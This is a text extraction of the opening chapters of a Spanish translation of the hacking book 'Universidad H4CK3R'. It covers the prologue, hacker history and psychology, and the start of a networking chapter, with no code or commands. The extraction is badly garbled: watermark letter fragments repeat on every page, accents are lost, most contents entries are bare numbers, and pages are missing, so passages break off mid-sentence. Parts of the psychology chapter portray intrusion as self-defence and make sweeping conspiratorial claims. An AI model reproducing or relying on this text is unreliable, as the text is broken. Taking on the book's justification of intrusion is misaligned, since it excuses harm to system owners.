Universidad Del Hacker en Español
Universidad Del Hacker en Español
Universidad Del Hacker en Español
me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
UNIVERSIDAD
H4CK3R
4 EDICION
HENRIQUE CESAR ULBRICH
JAMES DELLA VALLE
(TRADUCCION AL ESPAOL)
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Autores:
Ulbrich, Csar Enrique
Della Valle, Santiago
Universidad Hacker - 4 edicin (2004)
Digerati Comunicacin y Tecnologa Ltda..
Rua Haddock Lobo, 347 - Piso 12
CEP 01414-001 So Paulo / SP
Telfono: (11) 3217-2600 Fax: [11J3217-2617
www.digerati.com
Directores
Alessandro Gerardi - Igerard / digerati @: CombrJ!
Luis Alfonso G. Neira - lafonso @ digerati / combrJ
Alessio Fon Melozo - digerati lalessio @: CombrJ!
Gerente de Ventas: Pedro Abreu digerati Ivendas @ /: combrJ
Divulgacin: Erica Cunha digerati LERICI @: CombrJ
Oficina de Prensa: Simone Simn digerati Isimani @: CombrJ
ISBN: 85-89535-01-0
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Prlogo
Hoy la piratera fascina a miles de personas en todo el mundo. Se han creado varias
imgenes sobre los hackers1, alguna de ellas como la de justicieros, con poder para
luchar y desenmascarar a las grandes corporaciones, otras mostrndoles como simples
delincuentes buscando una forma de beneficio ilcito, ya sea robando dinero o informacin
confidencial. Hay un tercer punto de vista que pone al hacker como un investigador,
alguien que siempre busca mejorar sus conocimientos mediante el estudio de los
sistemas ajenos.
A la vez de ejercer fascinacin, tambin asustan a usuarios y empresas, que temen ser
invadidos y ver publicados sus datos confidenciales robados.
Hace mucho tiempo que actan los hackers, pero sin duda fue a principios del 2000
cuando acapararon los titulares de los peridicos y revistas de todo el mundo. Durante
tres das, en la primera quincena de febrero, una accin coordinada por un grupo de
hackers altero el funcionamiento y causo un gran dao en sitios muy populares como
Yahoo, Amazon, eBay, Buy.com, ZDNet, y CNN.com. La accin fue realizada con una
herramienta considerada simple, llamada DoS (Denial of service, denegacin de servicio).
En este tipo de ataques, los hackers no entran en los ordenadores de las vctimas para
robar informacin. Simplemente los bombardean con tal cantidad de datos, que provocan
que el acceso a ellos se bloquee. Identificar a los hackers que hacen este tipo de ataque
es especialmente difcil debido a que utilizan miles de mquinas en todo el mundo, sin
que los dueos de las mismas se den cuenta. Estos equipos funcionan como "esclavos" a
las ordenes de un maestro, a distancia, que lo invadi y domina el equipo que, en la
mayora de los casos, tienen conexin rpida a Internet.
Tres aos despus de este episodio en el que el mundo, por primera vez conoci, con un
cierto temor, las acciones de los hackers, las empresas se armaron, contrataron a
expertos, desarrollaron nuevos sistemas de seguridad y se entreno al personal para evitar
intrusiones. Adems salio una gran cantidad de ttulos mostrando cmo actuaban los
hackers.
El resultado? Los hackers continuaron actuando y aumentando su poder incendiario.
Para hacerse una idea, el 21 de octubre de 2002, un poderoso ataque logr tumbar nueve
de los 13 servidores que gestionan el trfico mundial de Internet. En ese momento, un
oficial de EE.UU. describi el ataque como la invasin ms sofisticada a gran escala que
jams se ha hecho a lo largo de la historia de Internet, en equipos de misin crtica.
Por qu los hackers siguen actuando? Por qu los administradores no pueden detener
su accin? La respuesta a estas preguntas y muchas ms, puede encontrarse en las
siguientes pginas. Por primera vez, un libro se introduce en el mundo hacker para revelar
las ltimas tcnicas utilizadas y, los diferentes motivos que les llevan a seguir atacando.
Bienvenido a la Universidad de Hacker.
Luis Matos
1 En este libro usamos la palabra hacker en su sentido popular. Sin embargo, sabemos que el sentido correcto de la
palabra hacker es otra, ms amplia. Hacker es sinnimo de expertos, en cualquier rea. Si su jardinero, por ejemplo, es
muy bueno, puede ser considerado un "hacker en la jardinera."
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
CONTENIDO:
Prlogo .............................................................................................................................
0. Conferencia inaugural
17
18
18
19
20
20
1. Psicologa Hacker
23
24
27
- Aprendizaje .................................................................................................................
27
- Compromiso ................................................................................................................
27
- Compartir .....................................................................................................................
28
28
29
2. Redes I
Introduccin ......................................................................................................................
31
- Conceptos ...................................................................................................................
31
32
32
33
Topologas ........................................................................................................................
33
33
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Protocolos .........................................................................................................................
35
36
- Matrioshka ...................................................................................................................
37
Ethernet ............................................................................................................................
38
40
- Capas ..........................................................................................................................
40
43
SPX/IPX ............................................................................................................................
44
- Capas ..........................................................................................................................
44
NetBIOS/NetBEUI/SMB/CIFS ..........................................................................................
45
- Capas ..........................................................................................................................
46
AppleTalk ..........................................................................................................................
47
- Capas ..........................................................................................................................
47
TCP/IP ..............................................................................................................................
47
- Capas ..........................................................................................................................
47
48
- El protocolo IP .............................................................................................................
48
- Direccin IP .................................................................................................................
49
49
- TCP/UDP .....................................................................................................................
49
- Puertos ........................................................................................................................
49
- DNS .............................................................................................................................
49
- ARP .............................................................................................................................
50
50
51
3. Plataforma Windows
54
54
55
56
- Estructura ....................................................................................................................
56
- Entidades ....................................................................................................................
63
64
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
64
65
66
- CLSID? ......................................................................................................................
68
69
- El tesoro ......................................................................................................................
70
71
4. Plataformas Unix
73
74
- POSIX .........................................................................................................................
75
75
76
- Estructura ....................................................................................................................
76
77
79
- Dispositivos .................................................................................................................
81
82
83
84
84
86
87
88
88
- Inittab y los Runlevels (parece a una banda de rock, pero no lo es) ......................
89
90
91
92
92
93
93
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
5. Fundamentos legales
95
95
96
97
99
99
- En Europa ...................................................................................................................
100
100
100
101
6. Ingeniera social
103
104
104
104
104
- Disfraces .....................................................................................................................
105
105
105
106
106
106
106
107
107
107
107
7. Vulnerabilidades I
www.FreeLibros.me
110
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
111
112
113
114
114
116
- Escneres ...................................................................................................................
118
119
120
121
- Exploits ........................................................................................................................
122
123
124
125
125
127
127
128
128
129
129
130
8. Redes II
133
134
134
Protocolo IP ......................................................................................................................
135
- El paquete IP ...............................................................................................................
135
- Direccionamiento IP ....................................................................................................
138
139
140
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
140
142
144
145
146
148
Enrutamiento ....................................................................................................................
150
Internet .............................................................................................................................
151
Subredes ..........................................................................................................................
152
152
- Radio ...........................................................................................................................
152
152
- Infrarrojos ....................................................................................................................
152
- Bluetooth .....................................................................................................................
152
- GSM ............................................................................................................................
153
- 2.5G .............................................................................................................................
153
- 3G ................................................................................................................................
153
- WiFi .............................................................................................................................
153
9 Vulnerabilidades II
155
156
159
- Squid ...........................................................................................................................
160
- WinGate ......................................................................................................................
161
161
163
- Firewalls ......................................................................................................................
164
164
- Proxies ........................................................................................................................
166
167
167
168
- Apache ........................................................................................................................
169
10
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
169
170
171
172
173
174
174
174
179
182
- El portal .......................................................................................................................
185
187
189
191
191
192
193
193
194
196
198
199
201
201
11
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
202
203
203
204
204
205
207
208
208
209
210
210
211
214
216
219
220
222
224
224
225
225
226
229
231
232
236
240
240
244
247
248
12
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
251
251
260
260
261
261
263
265
266
266
269
269
270
271
273
276
276
276
277
279
281
281
284
285
287
287
293
294
295
13
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
295
296
296
14
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Parte 1
1 Ao de la universidad:
15
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Clase
Inaugural
Captulo 0
''Ideologa?. Quiero
una para vivir! "
Cazuza
16
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Leccin inaugural
"Mi crimen es la curiosidad, es subestimar al ms poderoso, incluso cuando se equivocan.
Mi crimen es conocer todo acerca de todo el mundo, es ser ms inteligente. Estoy preso,
pero por una causa justa."
La frase anterior fue pronunciada por un hacker que fue detenido bajo cargos de intento
de extorsin. No slo es indicativa de su pensamiento, tambin es, en general, la idea de
una buena parte de la comunidad hacker.
En la mayora de los casos, lo que impulsa a un hacker en sus incursiones en los
sistemas ajenos es la adrenalina que se produce por el riesgo, combinado con la
satisfaccin de la victoria. Muchos piensan que estn en una guerra, en la que matar o
morir significa invadir, o no, un sistema. Todo tiene que estar bien diseado para lograr el
objetivo final y el riesgo es algo que incrementa la adrenalina. Cuanto ms difcil sea
mejor.
Podramos decir que el hacker es slo una persona en busca de conocimiento, para
desentraar los misterios de las lneas del enemigo invasor, para encontrar sus secretos y
advertir a todos acerca de lo que ha visto?
No, ciertamente no. Estamos omitiendo un factor muy importante. Imagnese que usted
descubre el nmero de tarjeta de crdito de 10 000 personas, o tiene acceso a
informacin muy sensible acerca de empresas. Pocos resisten la tentacin de hacer uso
de esta informacin. Algunos pensaran: Voy a usar un solo nmero de la tarjeta una vez
y luego voy a parar. Es la forma como una persona se vuelve adicta a la droga, no? Una
vez, una segunda, y derrepente ve que no puede dejar el hbito.
Por no hablar de que el pirata informtico tambin debe luchar contra su vanidad. Invadir
slo no tiene ningn mrito si los dems no se enteran. No es verdad? Entonces la vida
del hacker empieza a complicarse.
Informacin: la clave de todo.
En una pelea real, todo vale para obtener informacin que ayude a acceder al sistema.
Kevin Mitnick, considerado uno de los mayores hackers de todos los tiempos, se
especializo en una tcnica llamada ingeniera social. Para entender mejor cmo alguien
puede ser fcilmente engaado por los hackers maliciosos, se reproduce el informe
realizado recientemente por Mitnick para PC Magazine en una entrevista con el en Brasil,
publicado por Editorial Digerati.
"...Imagine que est trabajando para una empresa. Al entrar en un ascensor, nota que
alguien ha dejado un disco en el suelo. El disco lleva impreso el logotipo de la empresa y
lleva una etiqueta que dice: "Confidencial: historial salarial de todos los empleados."Que
es lo primero que se te pasara por la cabeza?. Movido por la curiosidad, pondras el disco
en una mquina y abriras el archivo para ver su contenido. Tal vez hay un icono a un
documento Word llamado "Archivo de nminas o "Historial salarial". Probablemente
clicaramos para comparar nuestros salarios con los de los otros. Qu sucede entonces?
Veremos un cuadro de mensaje que dice algo as como "la aplicacin no se pudo abrir" o
"fallo de archivo." Lo que no saben es que un caballo de Troya se acaba de instalar, lo
17
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
destacar que los hackers, aunque a veces sea sin querer, terminan ayudando a revelar
errores en software y redes, lo que podra tener consecuencias graves para los usuarios
de las redes corporativas o Internet.
Un ejemplo se dio en uno de los mas importantes ataques cibernticos en la historia, en
octubre de 2002, que tumbo la mayora de los servidores principales de EUA. El ataque,
mostr algunos de los agujeros mas grandes en seguridad de Internet, que an son
conocidos. Tambin revel algo ms: la superconcentracin de los servidores de Estados
Unidos. A pesar de ser una red que llega a casi todos los pases del mundo, el 70% de los
mensajes pasan a travs de servidores o routers estadounidenses. Ya no estamos en los
viejos tiempos, cuando la mayora de usuarios de Internet eran estadounidenses. Por lo
tanto, los cambios deben hacerse con el espritu que cre la propia Internet: la
descentralizacin de comunicacin. De hecho, este es un factor importante de seguridad
bsica, pero totalmente olvidado. Cuando la mayora del trfico de Internet esta
concentrada en poco ms de diez superservidores, hace que sea fcil de organizar un
super ataque.
"Nunca pongas todos los huevos en la misma cesta."
La negligencia de las empresas.
Muchos errores que permiten la accin de los criminales podran ser fcilmente
corregidos, pero muchas compaas prefieren pasar por alto estos problemas, y en
muchos casos incluso son muy displicentes. Esto se muestra en una encuesta realizada
por Solutions Module Security, una empresa especializada en seguridad. Segn los
datos recogidos, la seguridad de la informacin es un factor importante para el 45% de los
ejecutivos, el 16% la considera crtica y el 32% la califica como vital. Sin embargo, la falta
de conciencia de los ejecutivos (45%) y los usuarios (38%) fueron identificados como los
principales obstculos para implementar la seguridad en las empresas.
Un hecho revelado por la encuesta es muy preocupante: el 43% empresas admiti haber
sufrido ataques en los ltimos 12 meses, lo que representa un aumento del 10% respecto
a 2001, el 24% de los casos fueron en los ltimos seis meses. Pero lo peor de todo es
que el 32% no saba si haba sido atacado o no y, a pesar del aumento esperado en
problemas con la seguridad y el crecimiento del ndice de ataques e invasiones, la
encuesta muestra que slo la mitad de las empresas brasileas (49%) cuentan con planes
de accin en caso de ataque.
Otro punto interesante muestra que los piratas informticos (48%) fueron los principales
responsables de los ataques y las invasiones en 2002, lo que representa un aumento de
15% con respecto a 2001. En segundo lugar estn los trabajadores, que tienen del 24 al
31%. Tambin aparece una nueva amenaza, no registrada en la encuesta anterior: los exempleados, que registr un 8%. El porcentaje relativo a los proveedores de servicios
aument del 3 al 12% y los de competidores del 1 al 4%.
Lo peor es que la percepcin de falta de seguridad de las transacciones sigue siendo el
principal obstculo para el desarrollo a escala global de negocios digitales. No menos del
66% de los usuarios, no suelen comprar en Internet debido a la aparente falta de
seguridad.
19
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Avalancha de ataques
Todos sabemos que hay varios factores que contribuyen a la intensa actividad de los
piratas informticos. Para empezar, hay muchos sitios inseguros. Un estudio de Gartner
Group estima que dos tercios de los servidores web en el mundo pueden ser hackeados
de alguna manera. Otro factor que estimula la actividad de los hackers es la amplia
disponibilidad de herramientas de ataque a travs de Internet. Cualquier adolescente con
tiempo libre y conocimientos tcnicos medios puede encontrar la informacin y el software
necesario para una invasin. Pero la razn principal sigue siendo la impunidad. Los
policas que investigan los delitos informticos no son capaces de cubrir todos los casos.
Por otra parte, la falta de legislacin impide el castigo de los culpables, aunque algunos
hackers puedan ser encuadrados en el Cdigo Penal de acuerdo al delito cometido.
Para tener una idea del nmero de acciones de los piratas informticos, un estudio de la
Universidad de California demostr que los hackers tratan de realizar ms de 4 mil
ataques DoS (Denial of service) todas las semanas, un nmero impresionante y que
demuestra que hay que estar protegido en el mundo virtual.
Bienvenidos a la Escuela.
"Cuando se trata de intentar hackear un sitio, mi corazn late con fuerza y la adrenalina
se va a mil por hora. El temor de ser capturado, junto con la perspectiva de la victoria y el
xito, causa tal emocin que no lo puedo describir. Despus de que todos sepan tus
logros lo siguiente es disfrutar de la fama."
Historias como sta, dichas por los hackers, pueden representar un mundo lleno de
aventura y emocin para los que invaden los sitios y sistemas. Pero la verdad es que esto
no es as. En las siguientes pginas tendrs la oportunidad de conocer mucho de este
universo hacker, aprendiendo la teora y ejercicios prcticos para dominar las tcnicas de
los hackers. No hace falta decir que nuestro objetivo es formar a la gente, sensata, en
informtica para que puedan utilizar esos conocimientos para trabajar con seguridad,
desvelando las vulnerabilidades y buscando las soluciones.
Organizamos los temas a travs del curso para cubrir la necesidades del estudiante. Sin
embargo, creemos que muchos ya "iniciados" van a leer este libro. Por lo tanto,
separamos los temas en tres grupos: pre-requisitos, hacking bsico y hacking avanzado.
Dejamos fuera del libro impreso, cuestiones sobre la piratera, y lo que consideramos
como "pre-requisito "(programacin, sistemas operativos y hardware). As, satisfacemos
las necesidades de aquellos que estn empezando desde cero y no penalizamos al
"iniciado" con pginas llenas de cosas que ya sabe.
El mal uso de la informacin aqu proporcionada, as como la informacin presentada en
cualquier libro, de redes, servidores de Internet, sistemas operativos, programacin y
otros, es responsabilidad de quien lo use. Recuerde que esta en vigor la ley sobre delitos
informticos y la Ley de Seguridad Nacional de los Estados Unidos. Adems, hay que
considerar que todos los delincuentes estn sujetos a la legislacin del Cdigo Penal y el
Cdigo Civil en sus pases.
20
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Por lo tanto, disfruta de las siguientes pginas para ampliar tus conocimientos en
diferentes temas del mundo de la informtica y convirtete en un verdadero el experto en
seguridad. Y lo principal, usa con responsabilidad este conocimiento.
Luis Matos
21
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Psicologa
Hacker
Captulo - 1
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
S, lo sabemos. Usted compr este libro para obtener informacin tcnica. Sin embargo,
para nada adoptamos un modelo universitario: hay ciertas cosas que estn fuera de la
tecnologa que usted debe saber, aunque no este muy interesado en ello. Al igual que en
la escuela de derecho se estudia economa y, administracin en Ingeniera Elctrica aqu,
en nuestros estudios de piratera tenemos que estudiar el comportamiento y el modo de
pensar de las personas que dedican su vida a estas actividades.
Si usted compr este libro tratando de "convertirse en un hacker", probablemente tenga
una nocin de lo que vamos a tratar aqu. Parece obvio que usted ya sabe algo, ya que
quiere ser uno de ellos. Recomendamos leer este captulo, porque, probablemente usted
tiene ideas completamente distorsionadas o romnticas de lo que significa ser un "hacker"
(ntese las comillas). Quizs despus de leer este captulo desee cambiar su postura
inicial al saber ha que se llamaba "hacker de verdad, tal vez quiera dejarlo todo e irse a
vivir de la pesca a Cabo Fro, o incluso continuar con su idea inicial de juguetear en sitios
web y acceder a los ordenadores.
Si, por el contrario, ha comprado este libro pensando en cmo dejar su red, su servidor
Unix o sus estaciones Mac y Windows funcionando ms seguras esta introduccin es
obligatoria. Es intil estar obsesionado con las actualizaciones de las revisiones de
seguridad de Microsoft y configurar el binomio firewall + Antivirus de forma paranoica, y
no entender cmo funciona la cabeza de quien pretende invadirnos. Crame, usted ve a
su sistema desde el interior. Sus enemigos estn en el exterior. La perspectiva desde la
que ven la invasin de su red no se la puede imaginar, si solo "sigue el esquema del
libro."
El verdadero Hacker y el Hacker retratado en los medios de comunicacin.
Artculo publicado en una revista de gran difusin: "En septiembre de 2000, un hacker
entr en una industria del juguete britnico, "... Que podemos entender de esta frase tal
como fue escrita? Hay dos posibilidades:
1 - Que una persona utiliz su conocimiento para hackear el sitio de la industria. En esta
interpretacin, la palabra hacker no est asociado a bandolerismo, sino a su capacidad en
relacin con los sistemas de informacin. l uso este conocimiento para hacer el mal, el
conocimiento en s mismo no es algo malo.
2 - Que existe una nueva clase de bandidos digitales llamado "hackers" y uno de ellos
invadi este sitio. En esta interpretacin, la palabra hacker quiere decir, literalmente
criminal ciberntico.
Otro ejemplo podra ser ms esclarecedor;
Imagine un ataque terrorista en la regin vasca de Espaa. El ataque fue perpetrado por
la guerrilla, el grupo separatista vasco ETA, que busca la independencia de lo que ellos
sienten que es su tierra. La noticia podra ser transmitida de la siguiente manera:
"Una bomba estall hoy en un supermercado en Madrid, matando a 90 personas e
hiriendo a otras 174. Un vasco, guerrillero del grupo separatista ETA asumi el ataque".
En este prrafo la idea implcita es que todos los vascos son guerrilleros y pertenecen a
23
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Novato (Newbie)- Todo el mundo ha sido, es y ser sin duda principiante en algo. No
importa si se trata de relaciones amorosas, tecnologas de Internet o mecnica de la
aviacin: todos tenemos un da en el que nos sentamos, cogemos un libro y pensamos
"ahora me voy a enterar de que va esto". El novato es una persona que tiene poco
conocimiento en informtica y est dispuesto a aprender. Es el usuario final medio de los
sistemas informticos.
- Luser En oposicin al novato, ponemos en al mismo nivel el trmino peyorativo luser,
acuado por la unin de las palabras en Ingls de usuario (user) y perdedor (loser). Un
luser, a diferencia del novato, no quiere aprender nada. En su lugar, quiere saber slo el
mnimo necesario para manejar el equipo y terminar la tarea lo ms rpidamente posible.
Los lusers son usados generalmente como vctimas intermedias de los hackers para
llegar a una meta ms alta. El novato es a menudo aburrido, pero el luser es un peligro,
especialmente para la paciencia del personal de soporte tcnico.
- Lamer - Un usuario comn (novato o luser), lamentablemente, aprende a usar algunos
programas. No saben o no pueden permitirse el lujo de saber cmo funcionan las cosas,
pero al menos sabe cmo utilizar las aplicaciones existentes en equipo. Un da descubre
un programa muy simple que invade otras mquinas y sus correos electrnicos, o otro
programa que expulsa personas en los chat e incluso un pequeo programa para cambiar
pginas web. Este usuario es lo que se llama un lamer, una palabra derivada de cojo o
tullido. Un lamer se caracteriza generalmente por el tro de programas que siempre usa:
exploracin, explotacin y troyanos.
- Wannabe (o wannabee) - La palabra fue utilizada por primera vez en los medios de
comunicacin en los aos 80 para referirse a las fans de la cantante Madonna que se
vestan y actuaban tratando de emular a su dolo. Del mismo modo, los wannabes son
usuarios habituales de tecnologa de la informacin que apuntan a ser hackers. El trmino
se puede utilizar de dos maneras, una positiva y una peyorativa. Cuando se utiliza de
manera positiva, aspirante es una persona que ha ledo lo suficiente y est a punto de
entrar en lo que llamamos la fase larvaria (o "entrar en el capullo). En un sentido
peyorativo aspirante es exactamente el tipo que se describe en los prrafos iniciales de
este captulo: alguien que quiere entrar en este mundo de fantasa mstica llamada
piratera, pero no tiene idea de lo que es.
- Etapa Larval - literalmente, la etapa larval, tambin llamada desove. Es el perodo de
aislamiento total por el que debe pasar el candidato a hacker para al final de el proceso,
"nacer de nuevo" como programador. Tenga en cuenta que poseer conocimientos de
programacin es una condicin fundamental para ser considerado hacker, incluso en el
sentido popular de la palabra. La etapa larval se restringe a la programacin y puede
durar de seis meses a dos aos.
Al final de esta etapa, el desarrollador adquiere una sabidura casi esotrica, el precio
pagar es, la posibilidad de no volver a una vida normal. Puede ser un programador
competente sin pasar por esto. Pero, nunca podra ser un mago del cdigo.
- Hacker La palabra ha recorrido un largo camino para llegar aqu. Originalmente (segn
algunos) denominaba a los carpinteros que hacan los muebles con hachas - "Hack" es la
onomatopeya de estas herramientas, en Ingls. En los 40 y 50, la palabra hacker se utiliza
25
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
27
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Compartir
Los piratas informticos de todo tipo (el MIT o los Crime Boyz) tambin tienen en comn
la necesidad de compartir conocimientos y recursos. Esto incluye software de escritura de
cdigo abierto y de libre acceso, la divulgacin del 100% de los conocimientos que tienen
para la comunidad, facilitando el acceso a dicha informacin a cualquier interesado y,
siempre que sea posible, los recursos informticos y la red.
Se trata de un paisaje que puede verse a travs de diferentes ventanas. Los hackers
tradicionales (es decir, segn el significado correcto de la palabra) predican el intercambio
de conocimientos universal. Hay miles de buenos ejemplos de participacin universal y sin
restricciones de informacin, como la propia Internet, el Proyecto Gutenberg
(http://www.gutenberg.org/) el Proyecto GNU (http://www.gnu.org) y Linux
(http://www.linux.org).
Los hackers/crackers tienen otra idea de compartir el conocimiento. Para ellos, la
cooperacin es esencial, pero debe ser recproco. Eso significa que usted primero tiene
que compartir para ser aceptado en el clan. Slo cuando se decida por el clan, usted
tendr acceso a la base de conocimientos del mismo. Adems de la informacin y
procedimientos bsicos, libremente obtenidos, los procedimientos de invasin con los
datos obtenidos de ellos tambin deben ser compartidos entre los miembros del clan. Los
hackers a menudo ponen varias puertas traseras en los sistemas invadidos y difunden la
informacin acerca de estos backdoors dentro de sus clanes.
Los hackers de un segundo tipo tienen ideales. Un ideal puede ser el dinero y no dudan
en robar, engaar y estafar. Para otros, hay razones ideolgicas, polticas o sociales,
algunas muy vlidas, otras cuestionables moralmente. Y otros son vndalos que
destrozan por puro placer ... Los que poseen altos ideales, por lo general, revelan la
podredumbre de los gobiernos y las empresas y cmo nos engaan y daan.
Es difcil condenar a cualquiera de los dos tipos. Los hackers tradicionales con su visin
academicista, cooperativista y libre nos dieron, por ejemplo, Internet. Mil billones de
dlares se gastaron en la tecnologa las empresas privadas en todo el siglo XX, sin
embargo, el icono y el mayor legado de este perodo de la tecnologa, es algo que la
gente de la red cientfica ha dado gratis a la humanidad.
Los hackers del segundo tipo al rebelarse contra las instituciones y las leyes no siempre
justas o moralmente correctas - nos mostraron que SI, que el gobierno nos espa a
nosotros; SI, las empresas venden productos de mala calidad a los consumidores, y SI,
organizaciones privadas, polticas y el gobierno SIEMPRE conspiran para restringir
nuestros derechos. Las empresas y los gobiernos juegan sucio, nos obliga a utilizar
sistemas horribles, caros y mal escritos, que nos espan y caducan muy rpido. "Hackear",
entonces, slo sera una forma de defensa.
- Hey, Esto es importante!
La mayora de los hackers que invaden sistemas de terceros son adolescentes o adultos
jvenes y esta mstica underground digital tiene sentido para ellos. Por supuesto que hay
hackers mayores que estn inmersos en este mundo aparte, pero la inmensa mayora son
muy jvenes.
28
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Algunos hackers ms maduros - que ya ha superado esta fantasa usan toda esta
mitologa como un escudo. Incluso lo encuentran extremadamente molesto, los hackers
ms antiguos se asocian en clanes y, tienen un apodo llamativo 01)!6!74 u7!1!
Z4nl)035<:7413376 r! con el fin de engaar a las autoridades y permanecer en el
anonimato.
Ese es el problema. Las listas de vulnerabilidades de sitios como Security Focus o
Linux Security slo tienen los problemas descubiertos por los investigadores o
denunciados por los crackers. Pero no nos engaemos: ms del 80% de las
vulnerabilidades se encuentran en las listas privadas de los clanes de hackers, que son
conocidas slo por sus miembros . Basarse nicamente en las listas pblicas
suministradas por personas que han sido invadidas por hackers y vulnerabilidades que
han sido publicadas hace tiempo, no es una actitud muy sabia.
Dicho esto, si usted est leyendo este libro, tratando de asegurar mejor su negocio,
necesariamente tendr que bajar a los infiernos digitales, ser uno de ellos. No pienses
nunca en ser un agente doble: si descubren que hiciste un copia/pega en la lista de la
vulnerabilidades de seguridad de un sitio web publico, no dejaran en paz tu conexin a
Internet.
Por qu alguien gastara tiempo y dinero en una invasin?
La respuesta gira en torno a una sola palabra: motivo. Cada hacker bueno o malo, tiene
un motivo para hacer lo que hace. Puede ser mezquino o noble, podra ser el amor o el
odio, por necesidad, nihilismo o venganza, no importa la razn.
La bsqueda del conocimiento a primera vista parece ser la causa inmediata. Pero en la
mayora de los casos es slo una meta intermedia para alcanzar algo ms grande. Sera
posible escribir varios libros sobre los motivos reales de los hackers. Cada individuo tiene
sus propias ideas, sus odios y sus amores, sus creencias.
Hay gente que "hackea" por razones polticas, ideolgicas o medioambientales. En China,
hay varios grupos luchando por una apertura democrtica y usan Internet para hacerlo.
Greenpeace o los grupos neo-nazis, son otros ejemplos. La tecnologa se utiliza en estos
casos como las armas en una guerra que, a la vista del hacker, son vlidas.
Otros lo hacen por simple vandalismo, o incluso con objetivos despreciables: la venta de
armas y drogas, la pornografa infantil y la piratera (con fines econmicos o no). El
servidor de su empresa o el equipo de su abuelo pueden estar siendo utilizados como
depsitos de estas basuras sin que usted lo sepa. O incluso como un trampoln para un
sistema mayor.
Sea por un ideal, una aficin o objetivos econmicos ilcitos, una invasin y la existencia
de todos los hacker siempre tiene un motivo.
29
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Redes I
Capitulo - 2
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Introduccin
Ningn hombre es una isla. Es imposible imaginar que el mundo moderno puede
sobrevivir o incluso existir sin que las personas puedan comunicarse. Tal vez en las
comunidades aisladas de la selva un telfono, o incluso la electricidad son cosas
superfluas, y su ausencia es soportable. Pero imagnese si carece de comunicaciones o
de electricidad en una ciudad como Nueva York. Millones moririn
Las redes de ordenadores son una especializacin de las redes telefnicas, que a su vez
son un refinamiento de las tecnologas del antiguo telgrafo. Hoy en da, los ordenadores
estn conectados alrededor nuestro, y estn presentes en diversas tareas de la vida
cotidiana. Bancos, empresas, mercados ... Todos utilizan algn tipo de red para actualizar
la informacin de manera eficiente, rpida y segura.
Nuestro objetivo para este captulo es dar una idea muy superficial de cmo funcionan las
redes y cules son sus componentes. Recordemos que en casi el 100% estamos
expuestos a los hackers a travs de alguna red. Incluso si los atacantes estn usando el
acceso fsico para introducirse en algunas de nuestras mquinas - es decir, puede
sentarse en nuestras sillas y escribir directamente en nuestros teclados - el posterior
control de nuestra mquina sera, probablemente a travs de alguna red . Los conceptos
que figuran en este documento es probable que aporten poco a los administradores ms
experimentados, pero son instrumentos fundamentales para abrir las puertas a aquellos
que estn empezando a entender este universo.
Ni este captulo, ni el resto del libro, pretende ser un tratado completo sobre las redes
informticas y de comunicaciones. Adems de no ser el principal objetivo, sera difcil de
hacer sin alejarse de la estimacin inicial de 350 pginas impresas. Se han escrito
muchos libros sobre el tema, tales como el excelente Redes de computadoras, de
Andrew Tannembaum, o los libros de Morimoto disponibles en linea en Gua del hardware
